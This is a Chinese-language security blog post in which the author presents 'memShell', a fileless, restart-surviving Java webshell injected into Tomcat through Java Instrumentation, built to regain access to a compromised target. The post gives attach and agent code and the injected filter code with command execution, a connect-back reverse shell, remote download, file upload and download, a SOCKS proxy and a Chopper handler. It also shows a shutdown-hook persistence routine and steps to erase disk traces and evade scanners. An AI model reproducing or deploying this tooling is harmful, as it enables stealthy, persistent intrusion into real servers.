引子
上周末,一個好兄弟找我說一個很重要的目標shell丟了,這個shell之前是通過一個S2代碼執行的漏洞拿到的,現在漏洞還在,不過web目錄全部不可寫,問我有沒有辦法搞個webshell繼續做內網。正好我之前一直有個通過“進程注入”來實現內存webshell的想法,於是就趁這個機會以Java為例做了個內存webshell出來(暫且叫它memShell吧),給大家分享一下:)
前言
一般在滲透過程中,我們通常會用到webshell,一個以文件的形式存在於Web容器內的惡意腳本文件。我們通過webshell來讓Web Server來執行我們的任意指令。如果在某些機選情況下,我們不想或者不能在Web目錄下面寫入文件,是不是就束手無策了?當然不是,寫入webshell並不是讓Web Server來執行我們任意代碼的唯一方式,通過直接修改進程的內存也可以實現這個目的。我們只要擁有一個web容器進程執行用戶的權限,理論上就可以完全控制該進程的地址空間(更確切的說是地址空間中的非Kernel部分),包括地址空間內的數據和代碼。OS層進程注入的方法有很多,不過具體到Java環境,我們不需要使用操作系統層面的進程注入方法。Java為我們提供了更方便的接口,Java Instrumentation。
Java Instrumentation簡介
先看下官方概念:java Instrumentation指的是可以用獨立於應用程序之外的代理(agent)程序來監測和協助運行在JVM上的應用程序。這種監測和協助包括但不限於獲取JVM運行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動后,動態修改已加載或者未加載的類,包括類的屬性、方法。該機制最早於Java SE5 引入,Java SE6之后的機制相對於Java SE5有較大改進,因為現在Java SE5這種古董級別的環境已經不多,此處不再贅述。
下面看一個簡單的例子:首先新建3個Java工程Example、Agent和AgentStarter。
1.在工程Example中新建2個類:
Bird.java:
public class Bird {
public void say()
{
System.out.println("bird is gone.");
}
}
然后把編譯后的Bird.class復制出來,放到D盤根目錄。然后把Bird.java再改成如下:
Bird.java:
public class Bird {
public void say()
{
System.out.println("bird say hello");
}
}
Main.java:
public class Main {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
while(true)
{
Bird bird=new Bird();
bird.say();
Thread.sleep(3000);
}
}
}
把整個工程打包成可執行jar包normal.jar,放到D盤根目錄。
2.在工程Agent中新建2個類:
AgentEntry.java:
public class AgentEntry {
public static void agentmain(String agentArgs, Instrumentation inst)
throws ClassNotFoundException, UnmodifiableClassException,
InterruptedException {
inst.addTransformer(new Transformer (), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals("Bird")) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
System.out.println("Class changed!");
}
}
Transformer.java:
public class Transformer implements ClassFileTransformer {
static byte[] mergeByteArray(byte[]... byteArray) {
int totalLength = 0;
for(int i = 0; i < byteArray.length; i ++) {
if(byteArray[i] == null) {
continue;
}
totalLength += byteArray[i].length;
}
byte[] result = new byte[totalLength];
int cur = 0;
for(int i = 0; i < byteArray.length; i++) {
if(byteArray[i] == null) {
continue;
}
System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
cur += byteArray[i].length;
}
return result;
}
public static byte[] getBytesFromFile(String fileName) {
try {
byte[] result=new byte[] {};
InputStream is = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
int num = 0;
while ((num = is.read(bytes)) != -1) {
result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num));
}
is.close();
return result;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
if (!className.equals("Bird")) {
return null;
}
return getBytesFromFile("d:/Bird.class");
}
}
新建一個mainfest文件:
MAINFEST.MF:
Manifest-Version: 1.0
Agent-Class: AgentEntry
Can-Retransform-Classes: true
然后把Agent工程打包為agent.jar,放到D盤根目錄。
3.在AgentStarter工程中新建1個類:
Attach.java:
public class Attach {
public static void main(String[] args) throws Exception {
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
List<VirtualMachineDescriptor> listBefore = null;
listBefore = VirtualMachine.list();
while (true) {
try {
listAfter = VirtualMachine.list();
if (listAfter.size() <= 0)
continue;
for (VirtualMachineDescriptor vmd : listAfter) {
vm = VirtualMachine.attach(vmd);
listBefore.add(vmd);
System.out.println("i find a vm,agent.jar was injected.");
Thread.sleep(1000);
if (null != vm) {
vm.loadAgent("d:/agent.jar");
vm.detach();
}
}
break;
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
把AgentStarter打包成可執行jar包run.jar,放到D盤根目錄。這時候,D盤根目錄列表如下:
下面開啟兩個命令行窗口,先運行normal.jar,再運行run.jar:
很明顯我們動態改變了正在執行的normal.jar進程中Bird類的say方法體。OK,基本原理就介紹到這里,下面我們拿tomcat來實操。
確定關鍵類
我們想要實現這樣一種效果,訪問web服務器上的任意一個url,無論這個url是靜態資源還是jsp文件,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令。為了達到這個目的,需要找一個特殊的類,這個類要盡可能在http請求調用棧的上方,又不能與具體的URL有耦合,而且還能接受客戶端request中的數據。經過分析,發現org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法最符合我們的要求,首先看一下internalDoFilter方法的原型:
private void internalDoFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {}
該方法有ServletRequest和ServletResponse兩個參數,里面封裝了用戶請求的request和response。另外,internalDoFilter方法是自定義filter的入口,如下圖:
市面上各種流行的Java Web類框架,都是通過一個自定義filter來接管用戶請求的,所以在在internalDoFilter方法中注入通用型更強。下面我們要做的就是修改internalDoFilter方法的字節碼,一般用asm或者javaassist來協助修改字節碼。asm執行性能高,不過易用性差,一般像RASP這種對性能要求比較高的產品會優先采用。javaassist執行性能稍差,不過是源代碼級的,易用性較好,本文即用此方法。
定制internalDoFilter
internalDoFilter是memShell接收用戶請求的入口,我們在方法開始處插入如下的代碼段(節選):
try
{
if (pass_the_world!=null&&pass_the_world.equals("rebeyond"))
{
if (model==null||model.equals(""))
{
result=Shell.help();
}
else if (model.equalsIgnoreCase("exec"))
{
String cmd=request.getParameter("cmd");
result=Shell.execute(cmd);
}
else if (model.equalsIgnoreCase("connectback"))
{
String ip=request.getParameter("ip");
String port=request.getParameter("port");
result=Shell.connectBack(ip, port);
}
else if (model.equalsIgnoreCase("urldownload"))
{
String url=request.getParameter("url");
String path=request.getParameter("path");
result=Shell.urldownload(url, path);
}
else if (model.equalsIgnoreCase("list"))
{
String path=request.getParameter("path");
result=Shell.list(path);
}
else if (model.equalsIgnoreCase("download"))
{
String path=request.getParameter("path");
java.io.File f = new java.io.File(path);
if (f.isFile()) {
String fileName = f.getName();
java.io.InputStream inStream = new java.io.FileInputStream(path);
response.reset();
response.setContentType("bin");
response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
byte[] b = new byte[100];
int len;
while ((len = inStream.read(b)) > 0)
response.getOutputStream().write(b, 0, len);
inStream.close();
return;
}
}
else if (model.equalsIgnoreCase("upload"))
{
String path=request.getParameter("path");
String fileContent=request.getParameter("fileContent");
result=Shell.upload(path, fileContent);
}
else if (model.equalsIgnoreCase("proxy"))
{
new Proxy().doProxy(request, response);
return;
}
else if (model.equalsIgnoreCase("chopper"))
{
new Evaluate().doPost(request, response);
return;
}
response.getWriter().print(result);
return;
}
}
catch(Exception e)
{
response.getWriter().print(e.getMessage());
}
首先判斷是否有pass_the_world密碼字段,如果請求中沒有帶pass_the_world字段,說明是正常的訪問請求,直接轉到正常的處理流程中去,不進入webshell流程,避免影響正常業務。如果請求中有pass_the_world字段且密碼正確,再判斷當前請求的model類型,分別分發到不通的處理分支中去。為了避免對internalDoFilter自身做太大的改動,我把一些比較復雜的邏輯抽象到了外部agent.jar中去實現,由於外部jar包和javax.servlet相關的類classloader不一致,外部jar包中用到了反射的方法去執行一些無法找到的類,比如ServletRquest、ServletResponse等。
最終我們生成了2個jar包,一個inject.jar(功能類似前文demo中的run.jar),用來枚舉當前機器上的jvm實例並進行代碼注入。一個agent.jar,包含我們自定義的常見shell類功能,agent.jar會被inject.jar注入到tomcat進程中。執行java –jar inject.jar完成進程注入動作之后,可以把這兩個jar包刪除,這樣我們就擁有了一個memShell,完全存在於內存中的webshell,硬盤上沒有任何痕跡,再也不用擔心各種webshell掃描工具,IPS,頁面防篡改系統,一切看上去好像很完美。
但是……
內存中的數據,在進程關閉后就會丟失,如果tomcat被重啟,我們的webshell也會隨之消失,那豈不是然並卵?當然不是。
復活技術
既然文章標題提到了我們要實現的是不死webshell,就一定要保證在tomcat服務重啟后還能存活。memShell通過設置Java虛擬機的關閉鈎子ShutdownHook來達到這個目的。ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鈎子可以在如下場景中被JVM調用:
-
1.程序正常退出
-
2.使用System.exit()退出
-
3.用戶使用Ctrl+C觸發的中斷導致的退出
-
4.用戶注銷或者系統關機
-
5.OutofMemory導致的退出
-
6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子:)如下為我們自定義的ShutdownHook代碼片段:
public static void persist() { try { Thread t = new Thread() { public void run() { try { writeFiles("inject.jar",Agent.injectFileBytes); writeFiles("agent.jar",Agent.agentFileBytes); startInject(); } catch (Exception e) { } } }; t.setName("shutdown Thread"); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { }
JVM關閉前,會先調用writeFiles把inject.jar和agent.jar寫到磁盤上,然后調用startInject,startInject通過Runtime.exec啟動java -jar inject.jar。
memShell流程梳理
下面我們來梳理一下memShell的整個植入流程:
- 1.將inject.jar和agent.jar上傳至目標Web Server任意目錄下。
- 2.以tomcat進程啟動的OS用戶執行java –jar inject.jar。
- 3.inject.jar會通過一個循環遍歷查找Web Server上的JVM進程,並把agent.jar注入進JVM進程中,直到注入成功后,inject.jar才會退出。
- 4.注入成功后,agent.jar執行agentmain方法,該方法主要做以下幾件事情:
- a) 遍歷所有已經加載的類,查找“org.apache.catalina.core.ApplicationFilterChain”,並對該類的internalDoFilter方法進行修改。
- b) 修改完之后,把磁盤上的inject.jar和agent.jar讀進tomcat內存中。
- c) 對memShell做初始訪問。為什么要做一次初始化訪問呢?因為我們下一步要從磁盤上刪掉agent.jar和inject.jar,在刪除之前如果沒有訪問過memShell的話,memShell相關的一些類就不會加載進內存,這樣后續我們在訪問memShell的時候就會報ClassNotFound異常。有兩種方法初始化類,第一是挨個把需要的類手動加載一次,第二是模擬做一次初始化訪問,memShell采用的后者。
- d) 刪除磁盤上的inject.jar和agent.jar。當Web Server是Linux系統的時候,正常刪除文件即可。當Web Server是Windows系統的時候,由於Windows具有文件鎖定機制,當一個文件被其他程序占用時,這個文件是處於鎖定狀態不可刪除的,inject.jar正在被JVM所占用。要刪除這個jar包,需要先打開該進程,遍歷該進程的文件句柄,通過DuplicateHandle來巧妙的關閉文件句柄,然后再執行刪除,我把這個查找句柄、關閉句柄的操作寫進了一個exe中,memShell判斷WebServer是Windows平台時,會先釋放這個exe文件來關閉句柄,再刪除agent.jar。
- 5.memShell注入完畢,正常接收請求,通過訪問http://xxx/anyurl?show_the_world=password可以看到plain風格的使用說明(為什么是plain風格,因為懶)。
- 6.當JVM關閉時,會首先執行我們注冊的ShutdownHook:
- a)把第4(b)步中我們讀進內存的inject.jar和agent.jar寫入JVM臨時目錄。
- b)執行java -jar inject.jar,此后過程便又回到上述第3步中,形成一個閉環結構。
到此,memShell的整個流程就介紹完畢了。
memShell用法介紹
-
1.memShell實現了常見的webshell的功能,像命令執行:
-
-
2.memShell通過內嵌reGeorg實現了socks5代理轉發功能,方便內網滲透:
這里要說明一下,因為reGeorg官方的reGeorgSocksProxy.py不支持帶參數的URL,所有我們要稍微改造一下reGeorgSocksProxy.py:把第375行改成上圖所示即可。
-
3.memShell內嵌了菜刀一句話:
-
4.只設置訪問密碼,不設置model類型可查看plain style的help:
后記
本文僅以Java+tomcat為例來介紹內存webshell的原理及實現,其他幾種容器如JBOSS、WebLogic等,只是“定位關鍵類”那一步稍有不同,其他環節都是通用的。理論上其他幾種語言同樣可以實現類似的功能,我就算給大家拋磚引玉了。
Github代碼地址:https://github.com/rebeyond/memShell
里面有很多功能還有可以改進的地方,后面有時間再慢慢完善吧。
最后,華為終端雲SilverNeedle團隊誠招各路安全人才(APT方向),待遇優厚,歡迎推薦和自薦:)